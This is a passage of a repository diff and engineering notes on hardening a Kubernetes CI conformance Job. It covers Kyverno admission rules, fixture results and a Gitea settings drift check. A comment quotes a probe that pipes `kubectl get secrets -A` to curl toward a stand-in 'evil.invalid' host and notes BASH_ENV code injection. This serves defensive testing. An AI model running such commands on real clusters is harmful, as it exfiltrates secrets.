the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
|
||||
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()`
|
||||
then filters to `/l0-static/|/l1-rendering/`:
|
||||
|
||||
| args | offline selection | verdict |
|
||||
|---|---|---|
|
||||
| `--layer l2,l3` | empty | **RUNS** |
|
||||
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
|
||||
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
|
||||
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
|
||||
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
|
||||
|
||||
So `--layer` is mandatory and must name only l2/l3. **The committed default was
|
||||
`--layer all --strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More
|
||||
importantly: **the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A
|
||||
full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the
|
||||
manifest header and needs to land in `ci/conformance.sh` (plan §3 item 4).
|
||||
|
||||
I did **not** narrow the policy's args allowlist to match. A security boundary should not encode
|
||||
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
|
||||
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
|
||||
considered.
|
||||
|
||||
### Proven (kyverno v1.19.0, pinned toolbox, 7 rules now)
|
||||
|
||||
real rendered template -> pass: 7, fail: 0
|
||||
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
|
||||
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
|
||||
|
||||
Full fixture matrix — 65 pass / 13 fail / 0 error / 0 skip:
|
||||
|
||||
| resource | creat | vols | args | init | ephem | envnm | envfr |
|
||||
|---|---|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
|
||||
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
|
||||
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
|
||||
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
|
||||
|
||||
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
|
||||
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
|
||||
That is why the env rule had to be its own rule and not a condition bolted onto the init rule.
|
||||
|
||||
### UNVERIFIED, still
|
||||
|
||||
- Nothing has executed against a cluster. PR #18 must merge first (the image digest), and Secret
|
||||
`conformance-git-readonly` still does not exist.
|
||||
- Whether the API server accepts `ephemeralContainers` in a Job pod template — unchanged from the
|
||||
entry above; establishing it needs a mutating dry-run reserved to the operator.
|
||||
- The env allowlists are derived from what the two programs read TODAY. If `run.sh` or the clone
|
||||
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
|
||||
reviewed change. That is the intended failure direction, but it is a coupling the next person
|
||||
editing either script needs to know about, so it is called out in the rule's message.
|
||||
@@ -32,6 +32,9 @@ render-golden: ## render==golden: canonical render reproduces committed apps/ (n
|
||||
l1: ## L1 rendering checks (no cluster; live now)
|
||||
@"$(CI_DIR)l1.sh"
|
||||
|
||||
gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
|
||||
@./gitea-settings.sh
|
||||
|
||||
conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
|
||||
@"$(CI_DIR)conformance.sh"
|
||||
|
||||
|
||||
+26
@@ -112,6 +112,7 @@ run_stage lint "${CI_DIR}/lint.sh"
|
||||
run_stage l0 "${CI_DIR}/l0.sh"
|
||||
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
||||
run_stage l1 "${CI_DIR}/l1.sh"
|
||||
run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
|
||||
run_stage conformance "${CI_DIR}/conformance.sh"
|
||||
|
||||
echo >&2
|
||||
@@ -188,6 +189,31 @@ case "${OUTCOME[spec-immutability]}" in
|
||||
pass) ok "spec-immutability: green" ;;
|
||||
esac
|
||||
|
||||
# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
|
||||
# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
|
||||
# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
|
||||
# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
|
||||
# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
|
||||
# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
|
||||
# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
|
||||
# token is wired, and the skip becomes a block as it should.
|
||||
case "${OUTCOME[gitea-settings]}" in
|
||||
fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
|
||||
skip)
|
||||
if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
|
||||
err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
|
||||
summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
|
||||
BLOCK=1
|
||||
else
|
||||
warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
|
||||
warn " registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
|
||||
warn " (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
|
||||
summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
|
||||
NOT_ESTABLISHED+=("gitea-settings")
|
||||
fi ;;
|
||||
pass) ok "gitea-settings: green" ;;
|
||||
esac
|
||||
|
||||
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
|
||||
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
|
||||
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
|
||||
|
||||
Executable
+126
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env bash
|
||||
# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
|
||||
# match what git declares.
|
||||
#
|
||||
# WHY THIS STAGE EXISTS AT ALL
|
||||
# ----------------------------
|
||||
# Every other check in this repo reads the repository, the rendered manifests, or the
|
||||
# cluster. NONE of them can see Gitea's own database — and that is where branch
|
||||
# protection and runner registration live. On 2026-09-29 that blind spot was measured:
|
||||
#
|
||||
# * `main` had NO branch protection, and
|
||||
# * ZERO Actions runners were registered,
|
||||
#
|
||||
# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
|
||||
# and human in the loop repeated that claim because the repository said so. PR #1 — the
|
||||
# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
|
||||
# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
|
||||
# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
|
||||
# merged with zero approvals recorded against `required_approvals: 1`.
|
||||
#
|
||||
# Three separate failures, one shape: a setting that READ as enforced while not being, with
|
||||
# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
|
||||
# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
|
||||
#
|
||||
# WHAT IT ASSERTS
|
||||
# 1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
|
||||
# LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
|
||||
# 2. at least `.runners_online_min` Actions runners report status "online".
|
||||
#
|
||||
# (2) is not decoration. A required status check with no runner is the deadlock this repo
|
||||
# nearly walked into: every PR pends forever, including the one that would fix it.
|
||||
#
|
||||
# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
|
||||
# `protected`, `enable_status_check` and `required_approvals` but NOT
|
||||
# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
|
||||
# only account that merges. This stage queries /branch_protections/ deliberately.
|
||||
#
|
||||
# EXIT CODES (the gate contract)
|
||||
# 0 live Gitea matches the declaration
|
||||
# 1 DIVERGENCE — something drifted, or was never applied. Blocks the merge.
|
||||
# 3 SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
|
||||
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
|
||||
# that an unwired credential cannot lock the repository.
|
||||
#
|
||||
# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
|
||||
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
|
||||
# the drift it exists to catch is still undetected.
|
||||
set -euo pipefail
|
||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||
# shellcheck disable=SC1091
|
||||
source "${CI_DIR}/lib.sh"
|
||||
|
||||
log "Stage: Gitea platform settings match the declaration"
|
||||
|
||||
DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
|
||||
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
|
||||
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
|
||||
# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
|
||||
# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
|
||||
# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
|
||||
# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
|
||||
# it looked like it had worked. A token was minted, no secret existed, and this stage would
|
||||
# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
|
||||
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||
|
||||
[ -f "$DECL" ] || die "declaration missing: ${DECL}"
|
||||
require_tool jq
|
||||
require_tool curl
|
||||
|
||||
if [ -z "$TOKEN" ]; then
|
||||
skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
|
||||
skip " Branch protection and runner registration are therefore UNVERIFIED. They were"
|
||||
skip " wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
|
||||
summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
|
||||
|
||||
BRANCH="$(jq -r '.branch' "$DECL")"
|
||||
LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
|
||||
if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
|
||||
skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
|
||||
skip " lacks permission). Not treating this as a pass."
|
||||
summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
RC=0
|
||||
|
||||
# --- 1. every declared protection key must match the live rule, exactly ---------------
|
||||
while IFS= read -r key; do
|
||||
want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
|
||||
got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
|
||||
if [ "$want" = "$got" ]; then
|
||||
ok " ${key} = ${got}"
|
||||
else
|
||||
err " ${key}: DECLARED ${want} but LIVE is ${got}"
|
||||
RC=1
|
||||
fi
|
||||
done < <(jq -r '.protection | keys[]' "$DECL")
|
||||
|
||||
# --- 2. a runner must actually be online ----------------------------------------------
|
||||
MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
|
||||
RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
|
||||
N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
|
||||
if [ "${N:-0}" -ge "$MIN" ]; then
|
||||
ok " runners online: ${N} (>= ${MIN})"
|
||||
else
|
||||
err " runners online: ${N}, DECLARED minimum ${MIN}."
|
||||
err " A required status check with no runner leaves every PR pending forever —"
|
||||
err " including the PR that would fix it. This is the 2026-09-29 outage condition."
|
||||
RC=1
|
||||
fi
|
||||
|
||||
if [ "$RC" -eq 0 ]; then
|
||||
ok "Gitea settings match the declaration."
|
||||
summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
|
||||
else
|
||||
err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
|
||||
err " Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
|
||||
err " state is what you now want, change the DECLARATION in the same commit — deliberately."
|
||||
summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
|
||||
fi
|
||||
exit "$RC"
|
||||
@@ -79,12 +79,37 @@ else
|
||||
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
|
||||
find "$l0_render" -type f -name '*.yaml' -print0 \
|
||||
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
|
||||
if kyverno test "$l0_render"; then
|
||||
ok "Kyverno L0 policy tests passed"
|
||||
summary "- kyverno-l0: **passed**"
|
||||
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
|
||||
# error, bad match block, malformed JMESPath) does not fail the run: every result row
|
||||
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
|
||||
#
|
||||
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
|
||||
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
|
||||
# rows came back `Skip / Invalid Policy`, and the summary read:
|
||||
# Test Summary: 9 tests passed and 0 tests failed
|
||||
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
|
||||
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
|
||||
#
|
||||
# This is not specific to that policy: a typo in restrict-host-namespaces or
|
||||
# secret-provenance would silently disable it and the gate would stay green. Scan the
|
||||
# output for the load failure the exit code hides.
|
||||
l0_kout="$(mktemp)"
|
||||
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
|
||||
if grep -q 'Invalid Policy' "$l0_kout"; then
|
||||
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
|
||||
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
|
||||
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
|
||||
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
|
||||
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
|
||||
rc=1
|
||||
else
|
||||
ok "Kyverno L0 policy tests passed"
|
||||
summary "- kyverno-l0: **passed**"
|
||||
fi
|
||||
else
|
||||
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
|
||||
fi
|
||||
rm -f "$l0_kout"
|
||||
rm -rf "$l0_render"
|
||||
fi
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
---
|
||||
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
|
||||
#
|
||||
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
|
||||
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
|
||||
# meant to verify is worse than no harness.
|
||||
#
|
||||
# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
|
||||
# waves needs it.
|
||||
#
|
||||
# NOTE: this reconciles RBAC that is INERT until
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
|
||||
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
|
||||
# trigger identity can exist while the policy bounding it does not.
|
||||
apiVersion: kustomize.toolkit.fluxcd.io/v1
|
||||
kind: Kustomization
|
||||
metadata:
|
||||
name: conformance
|
||||
namespace: flux-system
|
||||
spec:
|
||||
interval: 10m
|
||||
retryInterval: 2m
|
||||
timeout: 5m
|
||||
prune: true
|
||||
wait: false
|
||||
dependsOn:
|
||||
- name: platform-config
|
||||
sourceRef:
|
||||
kind: GitRepository
|
||||
name: flux-system
|
||||
path: ./conformance/incluster
|
||||
@@ -33,6 +33,7 @@ resources:
|
||||
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
|
||||
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
|
||||
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
|
||||
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
|
||||
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
|
||||
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
|
||||
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
|
||||
|
||||
@@ -25,20 +25,59 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
||||
commented with the test/requirement that needs it — only as the matching fault-injection
|
||||
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
||||
audit item.
|
||||
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
|
||||
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
|
||||
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
|
||||
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
||||
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
|
||||
commit under test; artifacts leave over stdout. Its header is the authority on the
|
||||
substitution tokens and the admission constraints it satisfies, and records the
|
||||
`initContainers` hole that was found and closed alongside it — read it before editing
|
||||
either file.
|
||||
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
|
||||
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
|
||||
file in the image rather than an inline script in the Job precisely so admission can pin
|
||||
it: a policy cannot tell the committed script from an attacker's when both are just `args`
|
||||
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
|
||||
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
|
||||
honoured — a URL taken from env would let the trigger choose which repository's code runs
|
||||
as `conformance-runner`. This branch's Job depends on that interface:
|
||||
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
|
||||
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
|
||||
|
||||
## Flow
|
||||
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
|
||||
trigger with narrow rights: create Job + read its logs/status — *not* a broad
|
||||
kubeconfig).
|
||||
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
|
||||
`./run.sh` under `conformance-runner`.
|
||||
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
|
||||
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
|
||||
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
|
||||
their paths) and enforces the merge / phase-exit gate on them.
|
||||
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
||||
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
|
||||
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
|
||||
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
||||
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
||||
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
||||
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
|
||||
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
|
||||
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
|
||||
the suite runs at the commit under test or not at all. The read-only Gitea credential
|
||||
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
|
||||
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
|
||||
`results`.
|
||||
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
||||
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
||||
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
||||
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
|
||||
decodes it from `kubectl logs` and must make all five completeness checks listed above
|
||||
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
||||
of decoding to plausible garbage.
|
||||
|
||||
## Prerequisites before this Job can run at all
|
||||
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
|
||||
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
||||
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
|
||||
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
|
||||
before this template is usable; its digest is what the trigger substitutes. Contract the
|
||||
image MUST meet, because the Job and the admission policy both depend on it:
|
||||
- bash, git, python3, chainsaw and kubectl on `PATH`;
|
||||
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
|
||||
uid in the Containerfile means the Job will not start;
|
||||
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
|
||||
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
|
||||
that exact path, so an image without it cannot run the clone step and no other path will
|
||||
be admitted.
|
||||
|
||||
## Phase 0
|
||||
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
||||
|
||||
@@ -1,23 +1,175 @@
|
||||
# =============================================================================
|
||||
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
|
||||
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
|
||||
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
|
||||
#
|
||||
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
|
||||
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
|
||||
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
|
||||
# CI collects, and enforces the merge / phase-exit gate on the outcome.
|
||||
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
|
||||
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
|
||||
# create a permanent Job object and fight the trigger for ownership.
|
||||
#
|
||||
# Two invocation shapes (CI sets args):
|
||||
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
|
||||
# * PHASE EXIT: ./run.sh --layer all (full suite)
|
||||
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
|
||||
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
|
||||
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
|
||||
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
|
||||
#
|
||||
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
|
||||
# Chosen = a shared results emptyDir + a terminating log stream, with an
|
||||
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
|
||||
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
|
||||
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
|
||||
# results volume (or scrapes the pod log, which echoes their paths).
|
||||
# -----------------------------------------------------------------------------
|
||||
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
|
||||
# -----------------------------------------------------------------------------
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
|
||||
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
|
||||
# ONLY: exactly one container on a digest-pinned conformance-runner image,
|
||||
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
|
||||
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
|
||||
# host namespaces, non-root with privilege escalation off, and — the constraint that
|
||||
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
|
||||
#
|
||||
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
|
||||
# So the git credential CANNOT be a projected/secret volume, and the init container
|
||||
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
|
||||
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
|
||||
# BY SECRET NAME ONLY — no token literal ever appears in this file;
|
||||
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
|
||||
# readOnlyRootFilesystem stays true without a third volume and without subPath
|
||||
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
|
||||
# by the non-root runner).
|
||||
#
|
||||
# Verify before changing anything here:
|
||||
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
||||
# --resource <rendered job> \
|
||||
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
|
||||
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
|
||||
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
|
||||
# -----------------------------------------------------------------------------
|
||||
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
|
||||
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
|
||||
# never examined, so the exact escalation the policy exists to stop was reachable one
|
||||
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
|
||||
# compliant:
|
||||
#
|
||||
# * this template with ONLY the init container's args replaced by
|
||||
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||
# * and (the coordinator's independent reproduction) a `privileged: true`
|
||||
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
|
||||
#
|
||||
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
|
||||
#
|
||||
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||
#
|
||||
# Closed by new rules in that policy, authorised by the coordinator in this PR
|
||||
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
|
||||
# fit a Job, not to stop a hole being closed):
|
||||
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
|
||||
# container, on the digest-pinned runner image, `command:
|
||||
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
|
||||
# not privileged. The clone logic moved OUT of this manifest and into the image for
|
||||
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
|
||||
# script had to stop being caller-supplied data. It stays reviewable as
|
||||
# conformance/incluster/conformance-clone.
|
||||
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
|
||||
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
|
||||
# verified here, and the rule costs nothing if it is true.
|
||||
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
|
||||
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
|
||||
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
|
||||
# sources it before running a non-interactive script. Names are allowlisted per container;
|
||||
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
|
||||
# environment-specific, and conformance-runner can already read this namespace's Secrets
|
||||
# through its own RBAC, so pinning the source would buy nothing).
|
||||
#
|
||||
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
|
||||
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
|
||||
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
|
||||
# `envfrom-whole-secret` — so they stay failing.
|
||||
#
|
||||
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
|
||||
# committed shape" policy is only as good as its enumeration of every field that can carry
|
||||
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
|
||||
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
|
||||
# does, that is the finding, not an oversight to work around.
|
||||
#
|
||||
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
|
||||
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
|
||||
#
|
||||
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
|
||||
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
